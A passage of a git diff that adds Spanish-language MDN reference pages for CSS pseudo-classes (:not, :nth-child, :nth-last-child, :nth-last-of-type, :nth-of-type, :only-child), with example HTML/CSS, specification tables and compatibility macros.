+<ul>
+ <li>Se pueden escribir selectores inútiles usando esta pseudoclase. Por ejemplo, <code>:not(*)</code> coincide con cualquier elemento que no sea un elemento, por lo que la regla nunca se aplicará.</li>
+ <li>Esta pseudoclase puede aumentar la <a href="/es/docs/Web/CSS/Specificity">especificidad</a> de una regla. Por ejemplo, <code>#foo:not(#bar)</code> coincidirá con el mismo elemento que el <code>#foo</code> más simple, pero tiene una especificidad más alta.</li>
+ <li><code>:not(.foo)</code> coincidirá con cualquier cosa que no sea <code>.foo</code>, <em>incluidos {{HTMLElement("html")}} y {{HTMLElement("body")}}.</em></li>
+ <li>Este selector solo se aplica a un elemento; no puedes usarlo para excluir a todos los antepasados. Por ejemplo, <code>body :not(table) a</code> se aplicará a los enlaces dentro de una tabla, ya que {{HTMLElement("tr")}} coincidirá con la parte <code>:not()</code> del selector.</li>
+</ul>
+</div>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<p>La pseudoclase <code>:not()</code> requiere una lista separada por comas de uno o más selectores como argumento. La lista no debe contener otro selector de negación o un <a href="/es/docs/Web/CSS/Pseudo-elements">pseudoelemento</a>.</p>
+
+<div class="warning">
+<p>La capacidad de enumerar más de un selector es experimental y aún no es ampliamente compatible.</p>
+</div>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Soy un párrafo.&lt;/p&gt;
+&lt;p class="fancy"&gt;¡Soy muy elegante!&lt;/p&gt;
+&lt;div&gt;NO soy un párrafo.&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">.fancy {
+  text-shadow: 2px 2px 3px gold;
+}
+
+/* elementos &lt;p&gt; que no están en la clase `.fancy` */
+p:not(.fancy) {
+  color: green;
+}
+
+/* Elementos que no son elementos &lt;p&gt; */
+body :not(p) {
+  text-decoration: underline;
+}
+
+/* Elementos que no son elementos &lt;div&gt; o &lt;span&gt; */
+body :not(div):not(span) {
+  font-weight: bold;
+}
+
+/* Elementos que no son `.crazy` o `.fancy` */
+/* Tenga en cuenta que esta sintaxis aún no está bien soportada. */
+body :not(.crazy, .fancy) {
+  font-family: sans-serif;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplo')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#negation', ':not()')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Extiende su argumento para permitir algunos selectores no simples.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#negation', ':not()')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.not")}}</p>
+</div>
diff --git a/files/es/web/css/_colon_nth-child/index.html b/files/es/web/css/_colon_nth-child/index.html
new file mode 100644
index 0000000000..19e024c8ff
--- /dev/null
+++ b/files/es/web/css/_colon_nth-child/index.html
@@ -0,0 +1,188 @@
+---
+title: ':nth-child'
+slug: 'Web/CSS/:nth-child'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:nth-child'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS">pseudo-clase</a> <strong><code>:nth-child()</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> coincide con uno o más elementos en función de su posición entre un grupo de hermanos.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cada cuarto elemento entre
+   cualquier grupo de hermanos */
+:nth-child(4n) {
+  color: lime;
+}
+</pre>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<p>La pseudo-clase <code>nth-child</code> se especifica con un único argumento, que representa el patrón para los elementos coincidentes.</p>
+
+<h3 id="Valores_de_palabras_clave">Valores de palabras clave</h3>
+
+<dl>
+ <dt><code>odd</code></dt>
+ <dd>Representa elementos cuya posición numérica en una serie de hermanos es impar: 1, 3, 5, etc.</dd>
+ <dt><code>even</code></dt>
+ <dd>Representa elementos cuya posición numérica en una serie de hermanos es par: 2, 4, 6, etc.</dd>
+</dl>
+
+<h3 id="Notación_funcional">Notación funcional</h3>
+
+<dl>
+ <dt><code>&lt;An+B&gt;</code></dt>
+ <dd>Representa elementos cuya posición numérica en una serie de hermanos coincide con el patrón <code>An+B</code>, para cada entero positivo o valor cero de <code>n</code>. El índice del primer elemento es <code>1</code>. Los valores <code>A</code> y <code>B</code> deben ser ambos {{cssxref("&lt;integer&gt;")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example_selectors" name="Example_selectors">Selectores de ejemplo</h3>
+
+<dl>
+ <dt><code>tr:nth-child(odd)</code> o <code>tr:nth-child(2n+1)</code></dt>
+ <dd>Representa las filas impares de una tabla HTML: 1, 3, 5, etc.</dd>
+ <dt><code>tr:nth-child(even)</code> o <code>tr:nth-child(2n)</code></dt>
+ <dd>Representa las filas pares de una tabla HTML: 2, 4, 6, etc.</dd>
+ <dt><code>:nth-child(7)</code></dt>
+ <dd>Representa el séptimo elemento.</dd>
+ <dt><code>:nth-child(5n)</code></dt>
+ <dd>Representa los elementos 5, 10, 15, etc.</dd>
+ <dt><code>:nth-child(3n+4)</code></dt>
+ <dd>Representa los elementos 4, 7, 10, 13, etc.</dd>
+ <dt><code>:nth-child(-n+3)</code></dt>
+ <dd>Representa los primeros tres elementos entre un grupo de hermanos.</dd>
+ <dt><code>p:nth-child(n)</code></dt>
+ <dd>Representa cada elemento <code>&lt;p&gt;</code> entre un grupo de hermanos. Esto es lo mismo que un simple selector <code>p</code>.</dd>
+ <dt><code>p:nth-child(1)</code> o <code>p:nth-child(0n+1)</code></dt>
+ <dd>Representa cada <code>&lt;p&gt;</code> que es el primer elemento entre un grupo de hermanos. Esto es lo mismo que el selector {{cssxref(":first-child")}}.</dd>
+</dl>
+
+<h3 id="Ejemplo_detallado">Ejemplo detallado</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html">&lt;h3&gt;&lt;code&gt;span:nth-child(2n+1)&lt;/code&gt;, SIN un
+   &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; entre los hijos.&lt;/h3&gt;
+&lt;p&gt;Los hijos 1, 3, 5 y 7 son seleccionados.&lt;/p&gt;
+&lt;div class="first"&gt;
+  &lt;span&gt;Span 1!&lt;/span&gt;
+  &lt;span&gt;Span 2&lt;/span&gt;
+  &lt;span&gt;Span 3!&lt;/span&gt;
+  &lt;span&gt;Span 4&lt;/span&gt;
+  &lt;span&gt;Span 5!&lt;/span&gt;
+  &lt;span&gt;Span 6&lt;/span&gt;
+  &lt;span&gt;Span 7!&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;br&gt;
+
+&lt;h3&gt;&lt;code&gt;span:nth-child(2n+1)&lt;/code&gt;, CON un
+   &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; entre los hijos.&lt;/h3&gt;
+&lt;p&gt;Los hijos 1, 5 y 7 son seleccionados.&lt;br&gt;
+   3 se usa en el conteo porque es un hijo, pero
+   no se selecciona porque no es un &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;.&lt;/p&gt;
+&lt;div class="second"&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;em&gt;Este es un `em`.&lt;/em&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;br&gt;
+
+&lt;h3&gt;&lt;code&gt;span:nth-of-type(2n+1)&lt;/code&gt;, CON un
+   &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; entre los hijos.&lt;/h3&gt;
+&lt;p&gt;Los hijos 1, 4, 6 y 8 son seleccionados.&lt;br&gt;
+   3 no se usa en el conteo ni se selecciona porque es un &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt;,
+   no un &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;, y &lt;code&gt;nth-of-type&lt;/code&gt; solo selecciona
+   hijos de ese tipo. El &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; se omite por completo y se ignora.&lt;/p&gt;
+&lt;div class="third"&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;em&gt;Este es un `em`.&lt;/em&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+span,
+div em {
+  padding: 5px;
+  border: 1px solid green;
+  display: inline-block;
+  margin-bottom: 3px;
+}
+
+.first span:nth-child(2n+1),
+.second span:nth-child(2n+1),
+.third span:nth-of-type(2n+1) {
+  background-color: lime;
+}</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample('Ejemplo_detallado', 550, 550)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#nth-child-pseudo', ':nth-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>
+    <p>Agrega la sintaxis <code>of &lt;selector&gt;</code> y especifica que no se requiere que los elementos coincidentes tengan un padre.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#nth-child-pseudo', ':nth-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.nth-child")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{ Cssxref(":nth-of-type") }}, {{ Cssxref(":nth-last-child") }}</li>
+</ul>
diff --git a/files/es/web/css/_colon_nth-last-child/index.html b/files/es/web/css/_colon_nth-last-child/index.html
new file mode 100644
index 0000000000..daf0b8a50b
--- /dev/null
+++ b/files/es/web/css/_colon_nth-last-child/index.html
@@ -0,0 +1,197 @@
+---
+title: ':nth-last-child'
+slug: 'Web/CSS/:nth-last-child'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:nth-last-child'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:nth-last-child()</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> selecciona uno o más elementos en función de su posición entre un grupo de hermanos, contando desde el final.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cada cuarto elemento entre
+   cualquier grupo de hermanos, contando
+   hacia atrás desde el último */
+:nth-last-child(4n) {
+  color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Esta pseudo-clase es esencialmente la misma que {{Cssxref(":nth-child")}}, excepto que cuenta los elementos hacia atrás desde el final, no hacia adelante desde el principio.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La pseudo-clase <code>nth-last-child</code> se especifica con un solo argumento, que representa el patrón para los elementos coincidentes, contando desde el final.</p>
+
+<h3 id="Valores_de_palabras_clave">Valores de palabras clave</h3>
+
+<dl>
+ <dt><code>odd</code></dt>
+ <dd>Representa elementos cuya posición numérica en una serie de hermanos es impar: 1, 3, 5, etc., contando desde el final.</dd>
+ <dt><code>even</code></dt>
+ <dd>Representa elementos cuya posición numérica en una serie de hermanos es par: 2, 4, 6, etc., contando desde el final.</dd>
+</dl>
+
+<h3 id="Notación_funcional">Notación funcional</h3>
+
+<dl>
+ <dt><code>&lt;An+B&gt;</code></dt>
+ <dd>Representa elementos cuya posición numérica en una serie de hermanos coincide con el patrón <code>An+B</code>, para cada entero positivo o valor cero de <code>n</code>. El índice del primer elemento, contando desde el final, es <code>1</code>. Los valores <code>A</code> y <code>B</code> deben ser ambos {{cssxref("&lt;integer&gt;")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Example_selectors" name="Example_selectors">Selectores de ejemplo</h3>
+
+<dl>
+ <dt><code>tr:nth-last-child(odd)</code> o <code>tr:nth-last-child(2n+1)</code></dt>
+ <dd>Representa las filas impares de una tabla HTML: 1, 3, 5, etc., contando desde el final.</dd>
+ <dt><code>tr:nth-last-child(even)</code> o <code>tr:nth-last-child(2n)</code></dt>
+ <dd>Representa las filas pares de una tabla HTML: 2, 4, 6, etc., contando desde el final.</dd>
+ <dt><code>:nth-last-child(7)</code></dt>
+ <dd>Representa el séptimo elemento, contando desde el final.</dd>
+ <dt><code>:nth-last-child(5n)</code></dt>
+ <dd>Representa los elementos 5, 10, 15, etc., contando desde el final.</dd>
+ <dt><code>:nth-last-child(3n+4)</code></dt>
+ <dd>Representa los elementos 4, 7, 10, 13, etc., contando desde el final.</dd>
+ <dt><code>:nth-last-child(-n+3)</code></dt>
+ <dd>Representa los últimos tres elementos entre un grupo de hermanos.</dd>
+ <dt><code>p:nth-last-child(n)</code></dt>
+ <dd>Representa cada elemento <code>&lt;p&gt;</code> entre un grupo de hermanos. Esto es lo mismo que un simple selector <code>p</code>. </dd>
+ <dt><code>p:nth-last-child(1)</code> or <code>p:nth-last-child(0n+1)</code></dt>
+ <dd>Representa cada <code>&lt;p&gt;</code> que es el primer elemento entre un grupo de hermanos, contando desde el final. Esto es lo mismo que el selector {{cssxref(":last-child")}}. </dd>
+</dl>
+
+<h3 id="Ejemplo_de_tabla">Ejemplo de tabla</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Primera línea&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Segunda línea&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Tercera línea&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Cuarta línea&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Quinta línea&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">table {
+  border: 1px solid blue;
+}
+
+/* Selecciona los últimos tres elementos */
+tr:nth-last-child(-n+3) {
+  background-color: pink;
+}
+
+/* Toma todos los elementos a partir del penúltimo elemento */
+tr:nth-last-child(n+2) {
+  color: blue;
+}
+
+/* Seleccione solo el penúltimo elemento */
+tr:nth-last-child(2) {
+  font-weight: 600;
+}
+</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample('Ejemplo_de_tabla', 300, 150)}}</p>
+
+<h3 id="Ejemplo_de_caso_Edge">Ejemplo de caso Edge</h3>
+
+<p>Como <code>n</code> comienza en cero, mientras que el último elemento comienza en uno, <code>n</code> y <code>n+1</code> seleccionarán los mismos elementos.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Primera línea&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Segunda línea&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Tercera línea&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">tr:nth-last-child(n) {
+  background-color: lightgray;
+}
+
+tr:nth-last-child(n+1){
+  font-weight: 600;
+}
+</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample('Ejemplo_de_caso_Edge')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#nth-last-child-pseudo', ':nth-last-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Los elementos coincidentes no requieren tener un padre.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#nth-last-child-pseudo', ':nth-last-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.nth-last-child")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Cssxref(":nth-child")}}, {{Cssxref(":nth-last-of-type")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_nth-last-of-type/index.html b/files/es/web/css/_colon_nth-last-of-type/index.html
new file mode 100644
index 0000000000..6699c2520d
--- /dev/null
+++ b/files/es/web/css/_colon_nth-last-of-type/index.html
@@ -0,0 +1,97 @@
+---
+title: ':nth-last-of-type()'
+slug: 'Web/CSS/:nth-last-of-type'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:nth-last-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:nth-last-of-type()</code></strong> <a href="/es/docs/Web/CSS">CSS</a> coincide con uno o más elementos de un tipo dado, en función de su posición entre un grupo de hermanos, contando desde el final.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cada cuarto elementos &lt;p&gt; entre
+   cualquier grupo de hermanos, contando hacia
+   atrás desde el último */
+p:nth-last-of-type(4n) {
+  color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Esta pseudo-clase es esencialmente la misma que {{Cssxref(":nth-of-type")}}, excepto que cuenta los elementos hacia atrás desde el final, no hacia adelante desde el principio.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La pseudo-clase <code>nth-last-of-type</code> se especifica con un solo argumento, que representa el patrón para los elementos coincidentes, contando desde el final.</p>
+
+<p>Ver {{Cssxref(":nth-last-child")}} para una explicación más detallada de su sintaxis.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Este es un span.&lt;/span&gt;
+  &lt;span&gt;Este es otro span.&lt;/span&gt;
+  &lt;em&gt;Esto esta enfatizado.&lt;/em&gt;
+  &lt;span&gt;¡Guauu, este span se pone color lima!&lt;/span&gt;
+  &lt;strike&gt;Esto está tachado.&lt;/strike&gt;
+  &lt;span&gt;Aquí hay un último span.&lt;/span&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span:nth-last-of-type(2) {
+  background-color: lime;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplo')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#nth-last-of-type-pseudo', ':nth-last-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Los elementos coincidentes no requieren tener un padre.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#nth-last-of-type-pseudo', ':nth-last-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página es generada a partir de datos estructurados. Si quieres contribuir a estos datos, por favor mira <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</div>
+
+<p>{{Compat("css.selectors.nth-last-of-type")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Cssxref(":nth-last-child")}}, {{Cssxref(":nth-of-type")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_nth-of-type/index.html b/files/es/web/css/_colon_nth-of-type/index.html
new file mode 100644
index 0000000000..ad133d3584
--- /dev/null
+++ b/files/es/web/css/_colon_nth-of-type/index.html
@@ -0,0 +1,107 @@
+---
+title: ':nth-of-type'
+slug: 'Web/CSS/:nth-of-type'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:nth-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:nth-of-type()</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> selecciona uno o más elementos de un tipo dado, en función de su posición entre un grupo de hermanos.</p>
+
+<pre class="brush: css no-line-numbers  language-css">/* Selecciona cada cuarto elementos &lt;p&gt; entre
+   cualquier grupo de hermanos */
+p:nth-of-type(4n) {
+  color: lime;
+}</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La pseudo-clase <code>nth-of-type</code> se especifica con un solo argumento, que representa el patrón para los elementos coincidentes.</p>
+
+<p>Ver {{Cssxref(":nth-child")}} para una explicación más detallada de su sintaxis.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;div&gt;Este elemento no se cuenta.&lt;/div&gt;
+  &lt;p&gt;1er párrafo.&lt;/p&gt;
+  &lt;p&gt;2do párrafo.&lt;/p&gt;
+  &lt;div&gt;Este elemento no se cuenta.&lt;/div&gt;
+  &lt;p&gt;3er párrafo.&lt;/p&gt;
+  &lt;p&gt;4to párrafo.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Párrafos impares */
+p:nth-of-type(2n+1) {
+  color: red;
+}
+
+/* Párrafos pares */
+p:nth-of-type(2n) {
+  color: blue;
+}
+
+/* Primer párrafo */
+p:nth-of-type(1) {
+  font-weight: bold;
+}
+</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample('Ejemplo_básico', 250, 200)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#nth-of-type-pseudo', ':nth-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Los elementos coincidentes no requieren tener un padre.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#nth-of-type-pseudo', ':nth-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td><br>
+    Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.nth-of-type")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Cssxref(":nth-child")}}, {{Cssxref(":nth-last-of-type")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_only-child/index.html b/files/es/web/css/_colon_only-child/index.html
new file mode 100644
index 0000000000..c11051748e
--- /dev/null
+++ b/files/es/web/css/_colon_only-child/index.html
@@ -0,0 +1,136 @@
+---
+title: ':only-child'
+slug: 'Web/CSS/:only-child'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:only-child'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:only-child</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa un elemento sin hermanos. Esto es lo mismo que <code>:first-child:last-child</code> o <code>:nth-child(1):nth-last-child(1)</code>, pero con una especificidad menor.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cada &lt;p&gt;, pero solo si es el */
+/* único hijo de su padre */
+p:only-child {
+  background-color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Como se definió originalmente, el elemento seleccionado tenía que tener un padre. Comenzando con el Nivel 4 de Selectores, esto ya no es necesario.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;main&gt;
+  &lt;div&gt;
+    &lt;i&gt;Soy un hijo único y solitario.&lt;/i&gt;
+  &lt;/div&gt;
+
+  &lt;div&gt;
+    &lt;i&gt;Yo tengo hermanos.&lt;/i&gt;&lt;br&gt;
+    &lt;b&gt;¡Yo también!&lt;/b&gt;&lt;br&gt;
+    &lt;span&gt;Yo también tengo hermanos, &lt;span&gt;pero este es un hijo único.&lt;/span&gt;&lt;/span&gt;
+  &lt;/div&gt;
+&lt;/main&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">main :only-child {
+  color: red;
+}
+</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample('Ejemplo_básico','100%',180)}}</p>
+
+<h3 id="Ejemplo_de_lista">Ejemplo de lista</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;Primero
+    &lt;ul&gt;
+      &lt;li&gt;Esta lista tiene solo un elemento.
+    &lt;/ul&gt;
+  &lt;/li&gt;
+  &lt;li&gt;Segundo
+    &lt;ul&gt;
+      &lt;li&gt;Esta lista tiene tres elementos.
+      &lt;li&gt;Esta lista tiene tres elementos.
+      &lt;li&gt;Esta lista tiene tres elementos.
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;ol&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">li li {
+  list-style-type: disc;
+}
+li:only-child {
+  color: red;
+  list-style-type: square;
+}</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample('Ejemplo_de_lista', '100%', 210)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#only-child-pseudo', ':only-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Los elementos coincidentes no requieren tener un padre.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#only-child-pseudo', ':only-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td><br>
+    Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("css.selectors.only-child")}}</p>
+</div>
+</div>
+
